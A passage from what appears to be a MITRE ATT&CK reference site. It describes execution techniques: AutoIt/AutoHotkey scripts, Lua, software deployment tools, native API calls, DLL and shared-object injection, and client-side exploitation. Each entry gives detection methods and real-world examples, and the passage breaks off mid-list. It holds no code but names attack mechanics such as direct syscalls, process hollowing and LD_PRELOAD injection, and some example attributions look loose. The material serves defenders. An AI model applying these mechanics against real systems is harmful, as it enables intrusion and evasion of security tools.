  * Executed upon user interaction (e.g., opening email attachments, clicking malicious links).
* **Persistence**:
  * Scripts configured to run automatically at system startup via registry keys, scheduled tasks, or startup folders.
* **Privilege Escalation and Credential Access**:
  * Scripts may automate privilege escalation exploits or credential harvesting actions.
* **Defense Evasion**:
  * Compiled scripts and obfuscation techniques help evade antivirus and endpoint detection tools.
* **Command and Control (C2)**:
  * Scripts capable of establishing communication channels with attacker-controlled servers to receive commands and exfiltrate data.

## How this Technique is Usually Detected

Effective detection strategies include:

* **Endpoint Detection and Response (EDR)**:
  * Monitoring for execution of AutoHotkey (`AutoHotkey.exe`) and AutoIt (`AutoIt3.exe`) interpreters or compiled scripts.
  * Detecting suspicious child processes spawned by these interpreters.
* **Behavioral Analysis and Anomaly Detection**:
  * Identifying unusual GUI interactions, keystroke automation, or clipboard manipulations indicative of scripted malicious activity.
  * Monitoring for unexpected network connections initiated by scripts or interpreters.
* **File and Process Monitoring**:
  * Tracking creation and execution of `.ahk`, `.au3`, and compiled script executables (`.exe` files with embedded AutoHotkey or AutoIt interpreters).
  * Alerting on scripts running from unusual locations or with unusual naming conventions.
* **Registry and Scheduled Task Monitoring**:
  * Monitoring registry keys (`Run`, `RunOnce`) and scheduled tasks for suspicious entries pointing to AutoHotkey or AutoIt scripts/executables.
* **Indicators of Compromise (IoCs)**:
  * Suspicious AutoHotkey or AutoIt scripts with obfuscated or encoded content.
  * Unexpected presence of interpreter binaries (`AutoHotkey.exe`, `AutoIt3.exe`) in user directories or temporary folders.
  * Unusual outbound network connections associated with interpreter processes.

## Why it is Important to Detect This Technique

Early detection of malicious AutoHotkey and AutoIt scripts is essential due to their significant potential impacts, including:

* **System Compromise and Data Exfiltration**:
  * Scripts can automate data theft, credential harvesting, and sensitive information exfiltration.
* **Persistence and Long-term Access**:
  * Attackers use these scripts to maintain persistent access to compromised systems, enabling long-term espionage or lateral movement.
* **Evasion of Traditional Security Controls**:
  * Obfuscated and compiled scripts can bypass traditional antivirus and signature-based detection, requiring proactive behavioral analysis and monitoring.
* **Facilitation of Further Attacks**:
  * Attackers often leverage scripts to download and execute additional payloads, escalating the severity of compromise.

Detecting and responding promptly to this technique is crucial to minimize damage, prevent lateral movement, and safeguard sensitive organizational data.

## Examples

Real-world examples illustrating malicious use of AutoHotkey and AutoIt scripts include:

* **Revenge RAT**:
  * Utilizes AutoIt scripts to automate the installation and execution of the Remote Access Trojan (RAT).
  * Enables persistent remote control, data theft, and keylogging capabilities.
* **Emotet Malware Campaigns**:
  * Emotet operators have leveraged AutoIt scripts embedded in malicious email attachments to automate payload downloads and execution.
  * Facilitates further malware infections, lateral movement, and credential theft.
* **Cryptocurrency Mining Malware**:
  * Attackers utilize AutoHotkey or AutoIt scripts to silently install and run cryptocurrency miners, consuming victim system resources and impacting performance.
* **APT Groups (Advanced Persistent Threats)**:
  * Several APT groups have been observed employing AutoIt scripts for persistence, lateral movement, and command-and-control purposes.
  * Scripts are often obfuscated and compiled to evade detection, complicating incident response and forensic analysis.
* **Banking Trojans and Credential Theft**:
  * Malicious scripts automate keystroke logging, clipboard monitoring, and GUI interactions to capture banking credentials and sensitive personal data.

These examples demonstrate the versatility and effectiveness of AutoHotkey and AutoIt scripts in diverse attack scenarios, emphasizing the importance of proactive detection and response strategies.


# Lua

Lua \[T1059.011]

## Information

* Name: Lua
* ID: T1059.011
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Lua \[T1059.011] is a sub-technique within the MITRE ATT\&CK framework under the "Command and Scripting Interpreter" technique (T1059). Attackers leverage Lua scripting language to execute malicious scripts, automate tasks, and facilitate command execution during intrusion activities. Lua is a lightweight, embeddable scripting language widely used across various applications, games, and embedded systems, making it an attractive target for adversaries seeking stealthy and flexible execution methods.

## Deep Dive Into Technique

Lua scripting provides attackers with a versatile method for executing arbitrary code, performing reconnaissance, and automating malicious actions. Attackers may exploit Lua scripts embedded within legitimate software or leverage Lua interpreters installed on compromised systems.

Technical details and execution mechanisms include:

* **Embedding Malicious Lua Scripts:** Attackers insert malicious Lua scripts into legitimate applications or services that support Lua scripting, exploiting their built-in interpreters.
* **Standalone Lua Interpreter:** Attackers may upload and execute standalone Lua interpreters on compromised hosts, allowing them full control over script execution without relying on external dependencies.
* **Lua Libraries and Modules:** Lua scripts can import external modules and libraries, enabling attackers to extend capabilities such as network communication, file manipulation, or system enumeration.
* **Obfuscation and Encoding:** Malicious Lua scripts may be obfuscated or encoded to evade detection and complicate analysis.
* **Persistence and Automation:** Lua scripts can be configured to execute automatically upon system reboot or application startup, providing attackers with persistent access to compromised systems.

Real-world procedures involve attackers embedding Lua scripts within popular gaming platforms, IoT devices, or network appliances, exploiting their native Lua scripting capabilities to execute malicious payloads or establish backdoors.

## When this Technique is Usually Used

Attackers commonly use Lua scripting in various attack scenarios and stages, including:

* **Initial Access and Exploitation:**
  * Exploiting vulnerabilities in applications or IoT devices that support Lua scripting.
  * Embedding malicious Lua scripts into legitimate software updates or plugins.
* **Execution and Command Control:**
  * Using Lua scripts for arbitrary command execution and automated tasks on compromised hosts.
  * Leveraging Lua interpreters for interactive command shells or remote control.
* **Persistence and Privilege Escalation:**
  * Establishing persistent backdoors by embedding Lua scripts within startup routines or scheduled tasks.
  * Exploiting Lua-based scripting vulnerabilities to escalate privileges or bypass security controls.
* **Reconnaissance and Lateral Movement:**
  * Enumerating system information, network topology, and security configurations using Lua scripts.
  * Automating lateral movement through Lua scripts embedded within applications deployed across multiple hosts.

## How this Technique is Usually Detected

Detection of malicious Lua scripting activities involves monitoring and analyzing various indicators of compromise (IoCs), system behaviors, and configurations:

* **Monitoring File System and File Integrity:**
  * Detecting unauthorized or unusual Lua script files (.lua extension) appearing in sensitive directories or system paths.
  * Identifying unexpected modifications or additions to existing Lua scripts within legitimate applications.
* **Process and Command Line Monitoring:**
  * Observing execution of Lua interpreters (lua.exe, luac.exe) with unusual parameters or from suspicious locations.
  * Detecting command-line arguments indicative of malicious Lua scripts execution.
* **Behavioral Analysis and Anomaly Detection:**
  * Identifying anomalous network communication patterns initiated by Lua scripts.
  * Monitoring unexpected file system changes, registry modifications, or scheduled tasks initiated by Lua scripts.
* **Log Analysis and Auditing:**
  * Reviewing application logs for unusual Lua script execution or errors.
  * Inspecting system logs for unauthorized access or execution attempts involving Lua interpreters.
* **Endpoint Detection and Response (EDR) Solutions:**
  * Leveraging advanced detection capabilities provided by EDR tools to identify suspicious Lua interpreter activities and script executions.
  * Employing threat hunting techniques focusing on Lua script usage across endpoints.

Specific IoCs include:

* Presence of unusual Lua scripts in temporary directories or hidden folders.
* Lua interpreter binaries located in non-standard or suspicious directories.
* Suspicious command-line arguments passed to Lua interpreters.
* Network connections initiated by Lua scripts to unknown or malicious IP addresses and domains.

## Why it is Important to Detect This Technique

Early detection of malicious Lua scripting is critical due to its potential impacts on systems and networks, including:

* **Persistence and Stealth:** Lua scripts enable attackers to establish long-term presence, leveraging legitimate scripting capabilities to avoid detection and maintain stealth.
* **Privilege Escalation and System Compromise:** Malicious Lua scripts can exploit vulnerabilities or misconfigurations, leading to privilege escalation and further system compromise.
* **Data Exfiltration and Espionage:** Attackers may use Lua scripts to automate sensitive data collection and exfiltration, resulting in significant data loss and potential regulatory penalties.
* **Lateral Movement and Network-wide Compromise:** Lua scripting enables attackers to automate lateral movement, rapidly compromising multiple hosts within a network.
* **Difficulty in Remediation:** Malicious Lua scripts embedded within legitimate software or IoT devices complicate remediation efforts, requiring extensive analysis and cleanup operations.

Early detection and response significantly reduce the risk of extensive compromise, minimize potential impacts, and simplify incident response activities.

## Examples

Real-world examples of malicious Lua scripting attacks include:

* **IoT Malware (e.g., Linux-based IoT infections):**
  * Attackers have leveraged Lua scripts within IoT malware such as "LuaBot," which infects Linux-based IoT devices through vulnerabilities or weak credentials.
  * LuaBot uses Lua scripts to automate scanning, exploitation, and propagation across vulnerable IoT devices, establishing persistent backdoors and command-and-control infrastructure.
  * Impact: Massive IoT botnets created, enabling attackers to perform DDoS attacks, cryptocurrency mining, and espionage activities.
* **Gaming Platform Exploitation:**
  * Attackers have embedded malicious Lua scripts into gaming platforms or mods, exploiting built-in Lua scripting capabilities.
  * Malicious scripts executed arbitrary commands, exfiltrated user credentials, or installed secondary malware payloads onto gamers' systems.
  * Impact: Compromise of user accounts, theft of personal and financial information, and unauthorized access to gaming communities.
* **Network Appliances and Routers:**
  * Adversaries have exploited Lua scripting functionality embedded within network appliances and routers to execute persistent backdoors or reconnaissance scripts.
  * Malicious Lua scripts enabled attackers to maintain stealthy access, monitor network traffic, and pivot to internal networks.
  * Impact: Persistent network compromise, sensitive data exfiltration, and prolonged attacker presence within corporate networks.

These examples highlight the versatility and effectiveness of Lua scripting as a malicious technique, emphasizing the importance of robust detection and mitigation strategies.


# Software Deployment Tools

Software Deployment Tools \[T1072]

## Information

* Name: Software Deployment Tools
* ID: T1072
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0008](/mitre/mitre/ta0008)

## Introduction

Software Deployment Tools is a technique described in the MITRE ATT\&CK framework under technique ID T1072. Attackers leverage legitimate software deployment tools and systems, such as SCCM (System Center Configuration Manager), Ansible, Puppet, Chef, or other enterprise software management tools, to distribute and execute malicious payloads across an environment. By exploiting trusted deployment mechanisms, adversaries can achieve persistence, lateral movement, and privilege escalation while minimizing suspicion and detection.

## Deep Dive Into Technique

Attackers using Software Deployment Tools typically exploit existing administrative infrastructure and automated deployment systems to distribute malware or execute malicious scripts. These tools are legitimately used by organizations to manage software installations, updates, and configurations across multiple endpoints and servers, making them attractive targets for attackers seeking stealthy propagation.

Key technical details include:

* **Exploitation of Legitimate Infrastructure**: Attackers compromise or gain administrative access to software deployment servers or management consoles, such as Microsoft SCCM, PDQ Deploy, Ansible, Chef, Puppet, SaltStack, or Jenkins.
* **Malicious Package Creation**: Adversaries create or modify software installation packages, scripts, or update bundles to embed malicious payloads.
* **Deployment and Execution**: Leveraging existing automated deployment routines, attackers push malicious packages to multiple endpoints simultaneously, allowing rapid and stealthy propagation across the targeted network.
* **Privilege Escalation and Persistence**: Deployment tools generally operate with administrative privileges, enabling attackers to achieve elevated privileges on endpoints and establish persistent footholds.
* **Use of Native Scripting and Automation**: Attackers may utilize built-in scripting languages (PowerShell, Bash, Python) and automation frameworks to blend malicious activities with legitimate administrative tasks.

Real-world procedures involve attackers modifying legitimate software deployments to embed backdoors, credential harvesting scripts, or ransomware payloads. These attacks are particularly effective because they exploit trusted internal processes, making detection and response challenging.

## When this Technique is Usually Used

Attackers commonly employ Software Deployment Tools during various stages and scenarios of an intrusion:

* **Initial Access and Execution**:
  * After compromising administrative credentials or deployment infrastructure, attackers use these tools to execute payloads rapidly across multiple systems.
* **Lateral Movement**:
  * Attackers exploit deployment tools to propagate horizontally across networks, infecting numerous endpoints simultaneously.
* **Privilege Escalation**:
  * Leveraging deployment tools' inherent administrative privileges allows attackers to escalate privileges on compromised endpoints.
* **Persistence**:
  * Malicious packages or scripts deployed through these mechanisms can establish persistent footholds, ensuring attackers maintain long-term access.
* **Impact Stage (e.g., Ransomware Deployment)**:
  * Attackers frequently use software deployment tools to rapidly deploy ransomware payloads across large enterprise environments, maximizing impact and reducing response time.

## How this Technique is Usually Detected

Detecting malicious use of software deployment tools requires comprehensive monitoring and analysis across multiple layers of enterprise infrastructure. Key detection methods include:

* **Endpoint Detection and Response (EDR)**:
  * Monitor endpoints for unusual software installations, unexpected scripts, or anomalous binaries executed via deployment tools.
* **Behavioral Analytics and Anomaly Detection**:
  * Detect abnormal patterns in software deployment frequency, timing, and target endpoints.
  * Identify unusual administrative activity or unauthorized modifications to deployment packages.
* **Log Analysis and Centralized Monitoring**:
  * Analyze logs from deployment servers (e.g., SCCM, Ansible, Jenkins) for suspicious activity, unauthorized package modifications, or unexpected deployments.
  * Correlate deployment logs with endpoint security logs to discover discrepancies or suspicious behaviors.
* **Network Monitoring and IDS/IPS**:
  * Monitor network traffic for unusual data transfers originating from deployment infrastructure.
* **File Integrity Monitoring (FIM)**:
  * Detect unauthorized changes to software packages stored on deployment servers.
* **Specific Indicators of Compromise (IoCs)**:
  * Unexpected or unauthorized packages appearing in deployment repositories.
  * Scripts or binaries with suspicious naming conventions or unusual file hashes.
  * Deployment activities outside normal maintenance windows or targeting unusual systems.
  * Unusual administrative account usage patterns or logins to deployment servers.

## Why it is Important to Detect This Technique

Detecting malicious use of software deployment tools is crucial due to the significant potential impact on organizations:

* **Rapid and Widespread Infection**:
  * Attackers can quickly compromise numerous systems simultaneously, greatly amplifying damage and complicating containment efforts.
* **Elevated Privileges and Persistent Access**:
  * Deployment tools usually operate with high-level administrative privileges, enabling attackers to escalate privileges and maintain persistent footholds.
* **Stealth and Trust Abuse**:
  * Attackers exploit trusted internal processes, making malicious activities challenging to detect and attribute.
* **Potential for Extensive Damage**:
  * Malicious payloads deployed via these tools can include ransomware, data exfiltration scripts, backdoors, or credential theft mechanisms, leading to severe operational disruptions and financial impact.
* **Compliance and Regulatory Risks**:
  * Failure to detect and mitigate attacks leveraging deployment tools can result in regulatory non-compliance, financial penalties, and reputational damage.
* **Early Detection and Response**:
  * Timely detection is essential to minimizing damage, preventing lateral movement, and reducing remediation costs.

## Examples

Several real-world examples highlight the malicious use of software deployment tools in cyberattacks:

* **NotPetya Attack (2017)**:
  * Attackers compromised Ukrainian software vendor M.E.Doc's update mechanism, deploying malicious payloads disguised as legitimate software updates.
  * The malware rapidly propagated through internal software deployment mechanisms, causing global disruption and billions of dollars in damages.
* **Operation Cloud Hopper (APT10)**:
  * Attackers compromised managed service providers (MSPs) and leveraged deployment tools to distribute malware and maintain persistent access across multiple client networks.
  * Attackers used legitimate deployment processes to blend malicious activities with normal administrative tasks, significantly complicating detection.
* **SolarWinds Supply Chain Attack (2020)**:
  * Adversaries infiltrated SolarWinds Orion software build processes, embedding malicious code into legitimate software updates.
  * Malicious updates were distributed via legitimate deployment channels, enabling attackers to access numerous high-profile organizations and government agencies.
* **ShadowHammer Attack (ASUS Live Update, 2019)**:
  * Attackers compromised ASUS's software update mechanism, distributing malicious updates via legitimate software deployment channels.
  * The attack impacted thousands of users globally, highlighting the effectiveness and stealth of compromising trusted deployment tools.

These examples demonstrate attackers' ability to exploit legitimate software deployment infrastructure, causing extensive damage, persistent breaches, and significant operational disruptions.


# Native API

Native API \[T1106]

## Information

* Name: Native API
* ID: T1106
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Native API refers to adversaries leveraging direct calls to native operating system APIs to perform malicious activities, bypass security controls, and avoid detection. Within the MITRE ATT\&CK framework, this technique is categorized under T1106. Attackers commonly exploit this approach to execute malicious code, manipulate system processes, evade detection mechanisms, and establish persistence by directly interfacing with low-level system functions.

## Deep Dive Into Technique

Native APIs are low-level system calls provided by the operating system kernel, primarily used internally by the OS itself or by advanced applications requiring direct kernel interaction. Adversaries utilize Native APIs to:

* Evade traditional monitoring tools that typically monitor higher-level API calls.
* Execute malicious code directly in memory, bypassing standard execution controls.
* Manipulate processes and threads directly, including injection and hooking techniques.
* Access protected resources and system components without triggering security alerts.

Technical mechanisms involved in Native API exploitation include:

* **Direct Syscalls**: Bypassing standard Windows APIs (Win32 API) and directly invoking NT system calls (e.g., NtCreateProcess, NtAllocateVirtualMemory).
* **API Hooking and Injection**: Injecting malicious code into legitimate processes via native APIs to maintain stealth and persistence.
* **Kernel-Level Manipulation**: Using native APIs to interact with kernel objects and structures, enabling attackers to hide processes, files, or network connections.

Real-world procedures often involve the direct invocation of Native APIs through assembly code or scripting languages like PowerShell, C, or C++ to evade detection frameworks that monitor higher-level APIs.

## When this Technique is Usually Used

Attackers commonly employ Native API techniques in various attack scenarios and stages, including:

* **Initial Access and Execution**:
  * To bypass application whitelisting and execution restrictions by directly invoking system-level APIs.
  * To execute payloads without triggering traditional antivirus or EDR (Endpoint Detection and Response) tools.
* **Defense Evasion**:
  * Avoiding detection by bypassing API hooking mechanisms in antivirus or other security software.
  * Manipulating processes and memory directly to hide malicious activities.
* **Privilege Escalation and Persistence**:
  * Injecting code into privileged system processes to escalate privileges.
  * Establishing persistent backdoors by directly interacting with kernel-level functions.
* **Credential Access and Lateral Movement**:
  * Extracting credentials by directly accessing memory structures via native APIs.
  * Moving laterally within networks by manipulating system objects and processes silently.

## How this Technique is Usually Detected

Detection of Native API usage typically requires advanced monitoring and behavioral analysis. Common detection methods, tools, and indicators include:

* **Behavioral Monitoring**:
  * Observing unusual or suspicious sequences of native API calls (e.g., NtCreateThreadEx, NtAllocateVirtualMemory, NtWriteVirtualMemory).
  * Identifying abnormal interactions between processes and system-level APIs.
* **Endpoint Detection and Response (EDR) Solutions**:
  * Tools such as CrowdStrike Falcon, Microsoft Defender for Endpoint, Carbon Black, and SentinelOne can detect suspicious native API patterns.
  * Monitoring direct syscall usage and injection attempts into legitimate processes.
* **Memory Forensics and Analysis Tools**:
  * Volatility Framework and Rekall can identify suspicious memory allocations or injected threads indicative of Native API exploitation.
  * Analyzing memory dumps for unusual code execution patterns or injected DLLs.
* **Indicators of Compromise (IoCs)**:
  * Abnormal process behavior or unexpected child processes.
  * Suspicious memory allocation patterns (e.g., RWX memory regions).
  * Unusual handles or system object manipulations observed in system logs or EDR telemetry.

## Why it is Important to Detect This Technique

Detecting Native API exploitation is critical due to the significant potential impacts on systems and networks, including:

* **Evasion of Traditional Security Controls**:
  * Attackers bypass standard monitoring tools, antivirus, and intrusion detection systems, increasing the difficulty of detection and response.
* **Privilege Escalation and Persistence**:
  * Attackers gain elevated privileges by directly manipulating system objects, potentially leading to complete system compromise and persistent access.
* **Data Exfiltration and Credential Theft**:
  * Direct access to kernel-level APIs enables attackers to extract sensitive information and credentials, potentially leading to further compromise and data breaches.
* **System Stability and Integrity Risks**:
  * Direct manipulation of kernel objects and processes can destabilize systems, causing crashes, data corruption, or denial-of-service conditions.

Early detection of Native API usage allows security teams to respond swiftly, containing threats before significant harm occurs. It also provides critical visibility into advanced threats attempting to evade traditional detection methods.

## Examples

Real-world examples demonstrating Native API exploitation include:

* **Cobalt Strike Framework**:
  * Attackers commonly leverage Cobalt Strike to inject payloads directly into legitimate processes through native API calls such as NtAllocateVirtualMemory and NtCreateThreadEx.
  * This approach helps attackers evade traditional antivirus detection and maintain persistent footholds within compromised networks.
* **FIN7 Group Attacks**:
  * The FIN7 cybercrime group has been observed using native API techniques to perform process injection and memory manipulation, bypassing endpoint security tools and facilitating lateral movement within victim environments.
* **Turla APT Operations**:
  * The Turla group utilized native API calls to inject malicious code into legitimate Windows processes, enabling stealthy persistence and credential harvesting activities within compromised networks.
* **Process Hollowing Attacks**:
  * Attackers leverage native APIs such as NtUnmapViewOfSection, NtAllocateVirtualMemory, and NtWriteVirtualMemory to hollow legitimate processes and inject malicious code, enabling stealthy execution and evasion of antivirus products.

In these scenarios, attackers specifically chose Native API techniques due to their effectiveness in bypassing traditional security mechanisms and maintaining stealthy operations, resulting in significant impacts such as data breaches, credential theft, and persistent compromise.


# Shared Modules

Shared Modules \[T1129]

## Information

* Name: Shared Modules
* ID: T1129
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Shared Modules is a technique described under the MITRE ATT\&CK framework (Technique ID: T1129), categorized within the Execution tactic. Attackers leverage shared modules, such as DLLs (Dynamic-Link Libraries) in Windows or shared object libraries (.so files) in Linux, to execute malicious code. These modules contain reusable code and resources that multiple programs can utilize, enabling adversaries to inject or load malicious payloads into legitimate processes. By exploiting shared modules, attackers can achieve persistence, privilege escalation, defense evasion, and execution of malicious activities, often while avoiding detection through standard security measures.

## Deep Dive Into Technique

Shared modules, such as DLL files on Windows or shared objects (.so) on Linux systems, are dynamically loaded libraries containing reusable code. Attackers exploit these modules by:

* **DLL Injection (Windows):**
  * Injecting malicious DLL files into legitimate running processes to execute malicious code within trusted processes.
  * Techniques include:
    * Using the Windows API calls such as `CreateRemoteThread`, `LoadLibrary`, or `SetWindowsHookEx`.
    * Exploiting search order hijacking (DLL hijacking) by placing malicious DLLs in directories searched before legitimate ones.
* **Shared Object Injection (Linux):**
  * Injecting or preloading malicious `.so` files into Linux processes using environment variables (`LD_PRELOAD`) or modifying configuration files.
  * Techniques include:
    * Setting `LD_PRELOAD` environment variable to load malicious shared objects before legitimate ones.
    * Overwriting or replacing legitimate `.so` files with malicious ones.
* **DLL Side-Loading:**
  * Placing malicious DLLs in directories where legitimate applications load DLLs without proper validation.
  * Attackers often exploit trusted applications vulnerable to DLL side-loading to execute malicious payloads silently.
* **DLL Search Order Hijacking:**
  * Exploiting the Windows DLL search order by placing malicious DLLs in directories searched by applications before legitimate DLL locations.
  * Common vulnerable directories include:
    * Application directory
    * System directories
    * Current working directory
    * Directories specified in the system PATH environment variable

Attackers commonly use these mechanisms because they allow execution within trusted processes, making detection and attribution difficult.

## When this Technique is Usually Used

Attackers commonly use Shared Modules at various stages of the cyber kill chain, including:

* **Initial Access and Execution:**
  * Gaining initial foothold by exploiting applications vulnerable to DLL side-loading or search-order hijacking.
  * Leveraging malicious DLLs or shared objects to execute malicious payloads upon initial execution.
* **Persistence:**
  * Maintaining presence by injecting malicious modules into processes that automatically run on system startup or user login.
  * Ensuring malicious code execution persists through system reboots or user logoff/logon cycles.
* **Privilege Escalation:**
  * Loading malicious modules into processes running with elevated privileges to escalate privileges from standard user to administrator or root.
* **Defense Evasion:**
  * Injecting malicious code into trusted processes to evade detection by antivirus, endpoint detection and response (EDR), and other security tools.
  * Leveraging legitimate processes to mask malicious activities and avoid triggering alerts.
* **Credential Access and Lateral Movement:**
  * Using injected modules to capture credentials from memory or network traffic.
  * Facilitating lateral movement across networks through compromised modules loaded into trusted processes.

## How this Technique is Usually Detected

Detection of Shared Modules involves monitoring and analyzing process behavior, file system changes, and network activities. Common detection methods include:

* **Monitoring Process Injection:**
  * Detecting unusual DLL or shared object loads into processes.
  * Tools such as Sysmon (Windows), Process Monitor, and EDR solutions can monitor module loads and injections.
* **File Integrity Monitoring (FIM):**
  * Detecting unauthorized changes or additions of DLL and shared object files on critical systems.
  * Tools such as OSSEC, Tripwire, or commercial EDR solutions track file changes and generate alerts.
* **Behavioral Analysis:**
  * Identifying abnormal process behaviors, such as unexpected module loading or processes loading modules from unusual paths.
  * Endpoint detection solutions and SIEM tools can correlate events to identify suspicious activities.
* **Network Monitoring:**
  * Observing unexpected outbound connections initiated by processes loading suspicious modules.
  * Network Intrusion Detection Systems (NIDS) and network traffic analysis tools can detect anomalous activities indicative of malicious module usage.
* **Indicators of Compromise (IoCs):**
  * Unusual DLL or shared object file names or locations, such as:
    * Files placed in temporary directories or user directories.
    * Files mimicking legitimate DLL names but located in suspicious directories.
  * Registry modifications or environment variable changes (`LD_PRELOAD`) indicative of shared module injection.
  * Unusual process relationships or injection patterns, such as a process injecting code into unrelated processes.

## Why it is Important to Detect This Technique

Detecting Shared Modules is crucial due to the severe potential impacts on systems and networks, including:

* **Persistence and Long-term Compromise:**
  * Attackers can maintain prolonged unauthorized access by embedding malicious code into legitimate processes.
  * Early detection prevents attackers from establishing persistent footholds.
* **Privilege Escalation and System Compromise:**
  * Malicious modules loaded into privileged processes can escalate attacker privileges, leading to complete system compromise.
  * Timely detection mitigates risk of extensive damage and unauthorized administrative access.
* **Defense Evasion and Difficulty of Detection:**
  * Attackers leveraging legitimate processes complicate detection and attribution.
  * Early identification reduces attacker dwell time and limits damage.
* **Credential Theft and Data Exfiltration:**
  * Malicious modules can capture sensitive data and credentials, facilitating lateral movement and data breaches.
  * Detecting module injection prevents unauthorized data access and exfiltration.
* **Operational Disruption and Business Impact:**
  * Malicious code execution can disrupt critical business operations, cause system instability, or lead to data loss.
  * Early detection and response minimize operational downtime and associated financial impact.

## Examples

Real-world examples of attacks leveraging Shared Modules include:

* **APT41 (Winnti Group):**
  * Utilized DLL side-loading techniques extensively.
  * Exploited legitimate applications vulnerable to DLL search order hijacking to execute malicious payloads silently.
  * Commonly used signed legitimate binaries to load malicious DLLs, evading detection.
* **PlugX Malware:**
  * Frequently employs DLL side-loading to execute malicious payloads.
  * Attackers place malicious DLLs in directories alongside legitimate executables, causing legitimate binaries to load malicious modules.
  * Resulted in persistent compromise, data exfiltration, and espionage activities.
* **Carbanak/FIN7 Group:**
  * Leveraged DLL injection techniques to inject malicious code into legitimate processes, enabling credential theft, lateral movement, and financial fraud.
  * Injected malicious DLLs into banking applications and point-of-sale (POS) systems to capture sensitive financial data.
* **Operation ShadowHammer (ASUS Supply Chain Attack):**
  * Attackers compromised ASUS Live Update Utility by injecting malicious DLL modules into legitimate software updates.
  * Resulted in widespread compromise, enabling attackers to selectively target specific users for further exploitation.
* **NotPetya Ransomware:**
  * Utilized DLL hijacking techniques to load malicious DLL modules into legitimate processes.
  * Spread rapidly across networks, encrypting systems and causing significant operational disruption and financial impact worldwide.

These examples highlight the severity and impact of Shared Modules exploitation, underscoring the importance of effective detection and prevention measures.


# Exploitation for Client Execution

Exploitation for Client Execution \[T1203]

## Information

* Name: Exploitation for Client Execution
* ID: T1203
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Exploitation for Client Execution (T1203) is a technique defined by the MITRE ATT\&CK framework that adversaries employ to execute unauthorized commands or malicious payloads on client-side applications. It involves exploiting vulnerabilities in client applications, such as web browsers, document viewers, email clients, or other desktop software, to achieve arbitrary code execution. Successful exploitation typically grants attackers initial access or further penetration into targeted systems, allowing them to compromise confidentiality, integrity, and availability of resources.

## Deep Dive Into Technique

This technique involves targeting vulnerabilities in client-side software installed on user endpoints. Attackers exploit flaws such as memory corruption, logic errors, or improper input validation to execute malicious code remotely. Commonly targeted client applications include:

* Web browsers (e.g., Chrome, Firefox, Internet Explorer, Safari)
* Document readers (e.g., Adobe PDF Reader, Microsoft Office Suite)
* Email clients (e.g., Outlook, Thunderbird)
* Multimedia players (e.g., VLC, Windows Media Player)
* Messaging and collaboration tools (e.g., Skype, Zoom, Slack)

Technical mechanisms of exploitation include:

* **Memory corruption exploits**:
  * Buffer overflow
  * Heap spraying
  * Use-after-free vulnerabilities
  * Integer overflow or underflow
* **Document-based exploits**:
  * Malicious macros or scripts embedded in documents
  * Malformed PDF files exploiting vulnerabilities in document parsers
* **Browser-based exploits**:
  * Exploitation of JavaScript engines
  * Exploiting browser plug-ins (Flash, Java applets)
  * Cross-site scripting (XSS) leading to arbitrary code execution
* **Social engineering combined with exploits**:
  * Phishing emails with malicious attachments
  * Watering hole attacks targeting specific user groups

Real-world procedures involve delivering exploits through:

* Malicious websites or compromised legitimate sites hosting exploit kits
* Email attachments containing malicious documents
* Messaging apps or social media platforms sharing malicious links or files
* Malicious advertisements (malvertising) redirecting users to exploit-laden web pages

## When this Technique is Usually Used

Exploitation for Client Execution typically occurs during the initial access or early compromise stages of an attack. Attackers use this technique in scenarios such as:

* **Initial Access**:
  * Delivering malicious payloads via phishing emails or malicious websites
  * Exploit kits deployed through compromised websites or malvertising campaigns
* **Privilege Escalation or Lateral Movement**:
  * Exploiting client-side vulnerabilities on internal systems to escalate privileges or gain further footholds within networks
* **Targeted Attacks (APTs)**:
  * Advanced Persistent Threats frequently leverage client-side exploits to gain stealthy access to high-value targets
* **Mass Exploitation Campaigns**:
  * Cybercriminals deploying widespread exploit campaigns to infect large numbers of endpoints for ransomware, cryptojacking, or botnet recruitment

## How this Technique is Usually Detected

Detection methods for exploitation of client execution vulnerabilities include:

* **Endpoint Detection and Response (EDR) solutions**:
  * Monitoring for suspicious process injection, unusual child processes, or unexpected application behavior
* **Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS)**:
  * Signature-based detection of known exploits
  * Behavioral analysis detecting anomalous traffic patterns indicative of exploitation attempts
* **Application Whitelisting and Sandboxing**:
  * Restricting execution to known trusted applications and isolating suspicious activities
* **Monitoring and Logging**:
  * Detailed logs of application crashes, abnormal terminations, or unexpected errors
  * Reviewing logs for frequent crashes or abnormal behavior in client-side applications
* **Threat Intelligence Integration**:
  * Leveraging threat feeds for known Indicators of Compromise (IoCs) such as malicious domains, IP addresses, file hashes, or exploit signatures

Specific Indicators of Compromise (IoCs) include:

* Unusual or unexpected process creations (e.g., browser spawning command shells)
* Suspicious network connections to known malicious domains or IP addresses
* Presence of exploit payload files in temporary directories
* Frequent application crashes or abnormal memory usage patterns
* Detection of known exploit signatures in network or endpoint logs

## Why it is Important to Detect This Technique

Early detection of exploitation for client execution is critical due to the severe potential impacts, including:

* **Initial System Compromise**:
  * Attackers gain unauthorized control of endpoints, enabling further attacks and lateral movement
* **Data Theft and Espionage**:
  * Sensitive information exfiltration, including intellectual property, credentials, financial data, or personal information
* **Malware Installation and Persistence**:
  * Attackers installing backdoors, ransomware, spyware, keyloggers, or cryptominers
* **Operational Disruption**:
  * System instability, crashes, or performance degradation impacting business operations
* **Reputation Damage and Financial Loss**:
  * Breaches resulting in regulatory fines, loss of customer trust, and financial penalties

Early detection allows organizations to:

* Quickly contain and remediate threats, minimizing potential damage
* Strengthen defenses by identifying and patching vulnerable software
* Enhance incident response capabilities and reduce response time
* Protect sensitive data and maintain operational continuity

## Examples

Real-world examples demonstrating exploitation for client execution include:

* **Operation Aurora (2010)**:
  * Attackers exploited Internet Explorer vulnerabilities (CVE-2010-0249) to compromise Google and other major companies
  * Delivered via targeted spear-phishing emails linking to malicious websites hosting exploit code
  * Impact: Intellectual property theft, significant financial and reputation damage
* **Blackhole Exploit Kit (2012-2013)**:
  * Mass exploitation campaign leveraging vulnerabilities in Java, Adobe Flash, and PDF readers
  * Attackers redirected victims through compromised websites and malvertising
  * Impact: Widespread malware infections, including ransomware and banking Trojans
* **Dridex Malware Campaign (2015-2019)**:
  * Attackers exploited Microsoft Office vulnerabilities and malicious macros embedded in Word documents
